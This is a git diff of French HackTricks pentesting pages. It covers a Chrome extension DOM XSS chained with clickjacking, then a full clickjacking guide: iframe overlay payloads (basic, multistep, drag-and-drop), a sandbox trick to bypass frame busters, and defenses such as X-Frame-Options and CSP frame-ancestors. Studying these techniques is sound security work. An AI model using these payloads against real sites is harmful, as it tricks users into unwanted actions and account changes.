+ encodeURIComponent("<script>alert('XSS')</script>");
|
||||
document.body.appendChild(frame);
|
||||
```
|
||||
## XSS basé sur le DOM + ClickJacking
|
||||
|
||||
La première vulnérabilité est la vulnérabilité XSS basée sur le DOM dans **`/html/bookmarks.html`**, voici le JavaScript vulnérable inclus dans **`bookmarks.js`**:
|
||||
```javascript
|
||||
$('#btAdd').click(function() {
|
||||
var btname = $('#txtName').val();
|
||||
if ($('.custom-button .name').filter(function() {
|
||||
return $(this).text() === btname;
|
||||
}).length) return false;
|
||||
|
||||
var span = $('<span class="custom-button">');
|
||||
span.html('<span class="name">' + btname + '</span>');
|
||||
span.append('<a href="javascript:void(0)" title="remove">x</a>');
|
||||
span.attr('title', btname);
|
||||
span.data('id', (new Date().getTime()));
|
||||
$('div.custom-buttons .existing').append(span);
|
||||
save_options();
|
||||
});
|
||||
```
|
||||
Le JavaScript ci-dessus prend la **valeur** de la zone de texte **`txtName`** et utilise **la concaténation de chaînes pour construire du HTML** qui est ajouté au DOM via la fonction [“append()”](https://api.jquery.com/append/) de jQuery.
|
||||
|
||||
Normalement, la politique de sécurité du contenu (CSP) des extensions Chrome devrait empêcher l'exploitation de cette vulnérabilité. Cependant, en raison de **l'assouplissement de cette politique via** [**‘unsafe-eval’**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) et de l'utilisation des API DOM de jQuery, cela a quand même pu être **exploité**. Cela est dû au fait que de nombreuses API DOM de jQuery utilisent [“globalEval()”](https://api.jquery.com/jquery.globaleval/), qui passe automatiquement les scripts à [“eval()”](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) lors de l'ajout au DOM.
|
||||
|
||||
Bien que cela soit une vulnérabilité sérieuse, l'exploitation est assez limitée en raison de **l'interaction utilisateur requise pour l'exploiter**. La victime devrait ouvrir la page, coller une charge utile de Cross-site Scripting (XSS) dans le champ et cliquer sur le bouton "Add" pour l'exploiter.
|
||||
|
||||
Afin de mieux armer cette vulnérabilité, nous utilisons une vulnérabilité séparée (**clickjacking**) pour renforcer l'attaque.
|
||||
|
||||
Ce qui suit est un extrait du manifeste de l'extension Chrome :
|
||||
```json
|
||||
...trimmed for brevity...
|
||||
"web_accessible_resources": [
|
||||
"_locales/*",
|
||||
"bundle/*",
|
||||
"dist/*",
|
||||
"assets/*",
|
||||
"font/*",
|
||||
"html/bookmarks.html",
|
||||
"css/*.css",
|
||||
"js/*.js",
|
||||
"js/jquery/*.js",
|
||||
"js/lang/*"
|
||||
],
|
||||
...trimmed for brevity...
|
||||
```
|
||||
La section ci-dessus démontre que l'extension utilise une politique de **`web_accessible_resources`** très large.
|
||||
|
||||
La page **`/html/bookmarks.html`** peut également être **encadrée** et donc **exploitée** via le **clickjacking**. Nous abusons de cela pour intégrer cette page dans notre page web, et **superposer le cadre avec des éléments DOM pour redéfinir la mise en page**. Cela fait en sorte que la victime ne se rende pas compte qu'elle **interagit réellement avec l'extension en dessous**. L'animation suivante démontre cet effet (consultez l'animation dans le [**rapport original**](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)).
|
||||
|
||||
## Références
|
||||
|
||||
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||||
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -2,35 +2,37 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Obtenez un accès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
||||
Accédez-y dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Qu'est-ce que le Clickjacking
|
||||
|
||||
Le Clickjacking est une attaque qui **trompe** un **utilisateur** en le faisant **cliquer** sur un **élément** d'une page web qui est **invisible** ou déguisé en un autre élément. Cela peut amener les utilisateurs à télécharger involontairement des logiciels malveillants, à visiter des pages web malveillantes, à fournir des informations d'identification ou sensibles, à transférer de l'argent ou à acheter des produits en ligne. (De [ici](https://www.imperva.com/learn/application-security/clickjacking/)).
|
||||
Le Clickjacking est une attaque qui **trompe** un **utilisateur** pour qu'il **clique** sur un **élément** d'une page web qui est **invisible** ou déguisé en un autre élément. Cela peut amener les utilisateurs à télécharger malgré eux des logiciels malveillants, visiter des pages web malveillantes, fournir des identifiants ou des informations sensibles, transférer de l'argent ou acheter des produits en ligne. (Depuis [ici](https://www.imperva.com/learn/application-security/clickjacking/)).
|
||||
|
||||
### Astuce de préremplissage de formulaires
|
||||
### Astuce pour préremplir des formulaires
|
||||
|
||||
Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut exploiter ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre.
|
||||
Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking pour que l'utilisateur appuie sur le bouton Envoyer.
|
||||
|
||||
### Remplir un formulaire avec Drag\&Drop
|
||||
|
||||
Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'e-mail et/ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **faire glisser et déposer** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **Glisser-Déposer** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
|
||||
|
||||
### Charge utile de base
|
||||
```markup
|
||||
|
@ -52,27 +54,7 @@ z-index: 1;
|
|||
<div>Click me</div>
|
||||
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
|
||||
```
|
||||
### Charge utile à plusieurs étapes
|
||||
|
||||
Clickjacking can be made more effective by using a multistep payload. In this technique, the attacker divides the clickjacking attack into multiple steps, each requiring the victim to perform a specific action.
|
||||
|
||||
Le clickjacking peut être rendu plus efficace en utilisant une charge utile à plusieurs étapes. Dans cette technique, l'attaquant divise l'attaque de clickjacking en plusieurs étapes, chacune nécessitant que la victime effectue une action spécifique.
|
||||
|
||||
The first step involves tricking the victim into clicking on a seemingly harmless element on the attacker-controlled page. This could be a button, a link, or any other interactive element.
|
||||
|
||||
La première étape consiste à tromper la victime en cliquant sur un élément en apparence inoffensif sur la page contrôlée par l'attaquant. Il peut s'agir d'un bouton, d'un lien ou de tout autre élément interactif.
|
||||
|
||||
Once the victim performs this action, the attacker's payload is loaded onto the page. This payload can be a malicious script or code that performs unauthorized actions on behalf of the victim.
|
||||
|
||||
Une fois que la victime effectue cette action, la charge utile de l'attaquant est chargée sur la page. Cette charge utile peut être un script ou un code malveillant qui effectue des actions non autorisées au nom de la victime.
|
||||
|
||||
The second step involves tricking the victim into performing another action, such as submitting a form or clicking on another element. This action triggers the execution of the payload, allowing the attacker to carry out their malicious activities.
|
||||
|
||||
La deuxième étape consiste à tromper la victime pour qu'elle effectue une autre action, comme soumettre un formulaire ou cliquer sur un autre élément. Cette action déclenche l'exécution de la charge utile, permettant à l'attaquant de mener à bien ses activités malveillantes.
|
||||
|
||||
By dividing the clickjacking attack into multiple steps, the attacker increases the chances of successfully tricking the victim and executing their payload. This technique can be particularly effective when combined with social engineering tactics to manipulate the victim's behavior.
|
||||
|
||||
En divisant l'attaque de clickjacking en plusieurs étapes, l'attaquant augmente les chances de tromper avec succès la victime et d'exécuter sa charge utile. Cette technique peut être particulièrement efficace lorsqu'elle est combinée à des tactiques d'ingénierie sociale pour manipuler le comportement de la victime.
|
||||
### Payload Multistep
|
||||
```markup
|
||||
<style>
|
||||
iframe {
|
||||
|
@ -96,53 +78,7 @@ left:210px;
|
|||
<div class="secondClick">Click me next</div>
|
||||
<iframe src="https://vulnerable.net/account"></iframe>
|
||||
```
|
||||
### Payload Drag\&Drop + Clic
|
||||
|
||||
Clickjacking is a technique that tricks users into clicking on something different from what they perceive. One way to achieve this is by combining the drag and drop functionality with a click payload.
|
||||
|
||||
#### How it works
|
||||
|
||||
1. The attacker creates a malicious webpage that contains an invisible element, such as an iframe, positioned on top of a legitimate button or link.
|
||||
2. The attacker uses JavaScript to capture the user's click event on the invisible element.
|
||||
3. When the user clicks on the visible button or link, the click event is actually triggered on the invisible element, executing the attacker's payload.
|
||||
|
||||
#### Example
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
#invisible {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
opacity: 0;
|
||||
z-index: 9999;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<button onclick="alert('Legitimate button clicked!')">Click me</button>
|
||||
<iframe id="invisible" src="http://malicious-website.com"></iframe>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
In this example, the attacker creates an invisible iframe that covers the entire webpage. When the user clicks on the "Click me" button, the click event is actually triggered on the invisible iframe, which loads the malicious website and executes the attacker's payload.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
To protect against clickjacking attacks, you can implement the following measures:
|
||||
|
||||
- Implement X-Frame-Options header to prevent your website from being loaded within an iframe.
|
||||
- Use the Content-Security-Policy header to restrict which domains can embed your website.
|
||||
- Implement frame-busting JavaScript code to prevent your website from being loaded within an iframe.
|
||||
- Educate users about the risks of clicking on unfamiliar or suspicious links.
|
||||
|
||||
By implementing these measures, you can significantly reduce the risk of clickjacking attacks.
|
||||
### Payload de glisser-déposer + clic
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
@ -171,52 +107,53 @@ background: #F00;
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### XSS + Clickjacking
|
||||
### XSS + Détournement de clic
|
||||
|
||||
Si vous avez identifié une attaque **XSS qui nécessite que l'utilisateur clique** sur un élément pour **déclencher** l'XSS et que la page est **vulnérable au clickjacking**, vous pouvez l'exploiter pour tromper l'utilisateur en le faisant cliquer sur le bouton/lien.\
|
||||
Exemple:\
|
||||
_Vous avez trouvé un **self XSS** dans certains détails privés du compte (des détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **clickjacking** et vous pouvez **pré-remplir** le **formulaire** avec les paramètres GET._\
|
||||
\_\_Un attaquant pourrait préparer une attaque **clickjacking** sur cette page en **pré-remplissant** le **formulaire** avec la **charge utile XSS** et en trompant l'utilisateur pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'utilisateur exécutera l'XSS.
|
||||
Si vous avez identifié une **attaque XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** l'XSS et que la page est **vulnérable au détournement de clic**, vous pourriez en abuser pour tromper l'utilisateur en cliquant sur le bouton/lien.\
|
||||
Exemple :\
|
||||
_Vous avez trouvé un **XSS personnel** dans certains détails privés du compte (détails que **seul vous pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **détournement de clic** et vous pouvez **préremplir** le **formulaire** avec les paramètres GET._\
|
||||
\_\_Un attaquant pourrait préparer une attaque de **détournement de clic** sur cette page en **préremplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'**utilisateur** pour **soumettre** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, **l'utilisateur exécutera l'XSS**.
|
||||
|
||||
## Comment éviter le Clickjacking
|
||||
## Comment éviter le détournement de clic
|
||||
|
||||
### Défenses côté client
|
||||
|
||||
Il est possible d'exécuter des scripts côté client qui effectuent certains ou tous les comportements suivants pour prévenir le Clickjacking :
|
||||
Il est possible d'exécuter des scripts côté client qui effectuent certains ou tous les comportements suivants pour prévenir le détournement de clic :
|
||||
|
||||
* vérifier et imposer que la fenêtre d'application actuelle est la fenêtre principale ou supérieure,
|
||||
* rendre tous les frames visibles,
|
||||
* vérifier et s'assurer que la fenêtre d'application actuelle est la fenêtre principale ou supérieure,
|
||||
* rendre toutes les frames visibles,
|
||||
* empêcher de cliquer sur des frames invisibles,
|
||||
* intercepter et signaler les attaques potentielles de clickjacking à un utilisateur.
|
||||
* intercepter et signaler les attaques potentielles de détournement de clic sur un utilisateur.
|
||||
|
||||
#### Contournement
|
||||
|
||||
Comme les bloqueurs de frames sont en JavaScript, les paramètres de sécurité du navigateur peuvent empêcher leur fonctionnement ou même le navigateur peut ne pas prendre en charge JavaScript. Une solution de contournement efficace pour un attaquant contre les bloqueurs de frames est d'utiliser l'**attribut `sandbox` de l'iframe HTML5**. Lorsque cela est défini avec les valeurs `allow-forms` ou `allow-scripts` et que la valeur `allow-top-navigation` est omise, le script du bloqueur de frames peut être neutralisé car l'iframe ne peut pas vérifier s'il s'agit ou non de la fenêtre supérieure :
|
||||
Comme les frame busters sont des scripts JavaScript, les paramètres de sécurité du navigateur peuvent empêcher leur fonctionnement ou même le navigateur pourrait ne pas supporter JavaScript. Une solution efficace pour contourner les frame busters par un attaquant est d'utiliser l'attribut `sandbox` de l'**iframe HTML5**. Lorsqu'il est défini avec les valeurs `allow-forms` ou `allow-scripts` et que la valeur `allow-top-navigation` est omise, le script de frame buster peut être neutralisé car l'iframe ne peut pas vérifier s'il est ou non la fenêtre supérieure :
|
||||
```markup
|
||||
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
|
||||
```
|
||||
Les valeurs `allow-forms` et `allow-scripts` permettent d'autoriser les actions spécifiées dans l'iframe, mais la navigation de niveau supérieur est désactivée. Cela empêche les comportements de rupture de frame tout en permettant la fonctionnalité sur le site ciblé.
|
||||
```markdown
|
||||
Les valeurs `allow-forms` et `allow-scripts` permettent les actions spécifiées dans l'iframe, mais la navigation de niveau supérieur est désactivée. Cela empêche les comportements de déjouement de cadre tout en autorisant les fonctionnalités au sein du site ciblé.
|
||||
|
||||
Selon le type d'attaque par détournement de clics, **vous devrez peut-être également autoriser** `allow-same-origin` et `allow-modals` ou [même plus](https://www.w3schools.com/tags/att\_iframe\_sandbox.asp). Lors de la préparation de l'attaque, vérifiez simplement la console du navigateur, elle peut vous indiquer les autres comportements que vous devez autoriser.
|
||||
Selon le type d'attaque de Clickjacking effectuée, **vous pourriez également devoir autoriser** : `allow-same-origin` et `allow-modals` ou [encore plus](https://www.w3schools.com/tags/att_iframe_sandbox.asp). Lors de la préparation de l'attaque, vérifiez simplement la console du navigateur, elle peut vous indiquer quels autres comportements vous devez autoriser.
|
||||
|
||||
### X-Frame-Options
|
||||
|
||||
L'en-tête de réponse HTTP **`X-Frame-Options`** peut être utilisé pour indiquer si un navigateur doit être **autorisé** ou non à afficher une page dans une balise `<frame>` ou `<iframe>`. Les sites peuvent l'utiliser pour éviter les attaques par détournement de clics en veillant à ce que **leur contenu ne soit pas intégré dans d'autres sites**. Définissez l'en-tête **`X-Frame-Options`** pour toutes les réponses contenant du contenu HTML. Les valeurs possibles sont :
|
||||
L'**en-tête de réponse HTTP `X-Frame-Options`** peut être utilisé pour indiquer si un navigateur doit être **autorisé** à rendre une page dans un `<frame>` ou `<iframe>`. Les sites peuvent utiliser cela pour éviter les attaques de Clickjacking, en s'assurant que **leur contenu n'est pas intégré dans d'autres sites**. Définissez l'en-tête **`X-Frame-Options`** pour toutes les réponses contenant du contenu HTML. Les valeurs possibles sont :
|
||||
|
||||
* `X-Frame-Options: deny` qui **empêche tout domaine d'encadrer le contenu** (_Valeur recommandée_)
|
||||
* `X-Frame-Options: deny` qui **empêche tout domaine d'encadrer le contenu** _(Valeur recommandée)_
|
||||
* `X-Frame-Options: sameorigin` qui **autorise uniquement le site actuel** à encadrer le contenu.
|
||||
* `X-Frame-Options: allow-from https://trusted.com` qui **autorise le 'uri' spécifié** à encadrer cette page.
|
||||
* Vérifiez les limitations ci-dessous car **cela échouera si le navigateur ne le prend pas en charge**.
|
||||
* `X-Frame-Options: allow-from https://trusted.com` qui **autorise l'uri spécifié** à encadrer cette page.
|
||||
* Vérifiez les limitations ci-dessous car **cela échouera ouvert si le navigateur ne le prend pas en charge**.
|
||||
* D'autres navigateurs prennent en charge la nouvelle directive **CSP frame-ancestors à la place**. Quelques-uns prennent en charge les deux.
|
||||
|
||||
### Directive frame-ancestors de la politique de sécurité du contenu (CSP)
|
||||
|
||||
La protection contre le détournement de clics recommandée consiste à incorporer la directive **`frame-ancestors`** dans la politique de sécurité du contenu de l'application.\
|
||||
La directive **`frame-ancestors 'none'`** a un comportement similaire à la directive **X-Frame-Options `deny`** (_Personne ne peut encadrer la page_).\
|
||||
La **protection recommandée contre le clickjacking** consiste à intégrer la directive **`frame-ancestors`** dans la politique de sécurité du contenu de l'application.\
|
||||
La directive **`frame-ancestors 'none'`** est similaire dans son comportement à la directive **X-Frame-Options `deny`** (_Personne ne peut encadrer la page_).\
|
||||
La directive **`frame-ancestors 'self'`** est largement équivalente à la directive **X-Frame-Options `sameorigin`** (_seul le site actuel peut l'encadrer_).\
|
||||
La directive **`frame-ancestors trusted.com`** est largement équivalente à la directive **X-Frame-Options** `allow-from` (_seul le site de confiance peut l'encadrer_).
|
||||
|
||||
La CSP suivante autorise uniquement les frames du même domaine :
|
||||
La CSP suivante autorise les cadres uniquement pour le même domaine :
|
||||
|
||||
`Content-Security-Policy: frame-ancestors 'self';`
|
||||
|
||||
|
@ -227,30 +164,33 @@ Consultez la documentation suivante pour plus de détails et des exemples plus c
|
|||
|
||||
### Limitations <a href="#limitations" id="limitations"></a>
|
||||
|
||||
* **Prise en charge du navigateur :** Les directives CSP frame-ancestors ne sont pas encore prises en charge par tous les principaux navigateurs.
|
||||
* **X-Frame-Options a la priorité :** La section "Relation avec X-Frame-Options" de la spécification CSP indique : "_Si une ressource est fournie avec une politique qui inclut une directive appelée frame-ancestors et dont la disposition est "enforce", alors l'en-tête X-Frame-Options DOIT être ignoré_", mais Chrome 40 et Firefox 35 ignorent la directive frame-ancestors et suivent plutôt l'en-tête X-Frame-Options.
|
||||
* **Prise en charge par le navigateur :** Les frame-ancestors CSP ne sont pas encore pris en charge par tous les principaux navigateurs.
|
||||
* **X-Frame-Options a la priorité :** [La section "Relation to X-Frame-Options" de la spécification CSP](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) dit : "_Si une ressource est livrée avec une politique qui comprend une directive nommée frame-ancestors et dont la disposition est "enforce", alors l'en-tête X-Frame-Options DOIT être ignoré_", mais Chrome 40 & Firefox 35 ignorent la directive frame-ancestors et suivent l'en-tête X-Frame-Options à la place.
|
||||
|
||||
## Références
|
||||
|
||||
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
|
||||
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
|
||||
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** avec les outils communautaires les plus avancés au monde.\
|
||||
Accédez-y dès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** alimentés par les outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,33 +1,35 @@
|
|||
# Injection de commandes
|
||||
# Injection de Commandes
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
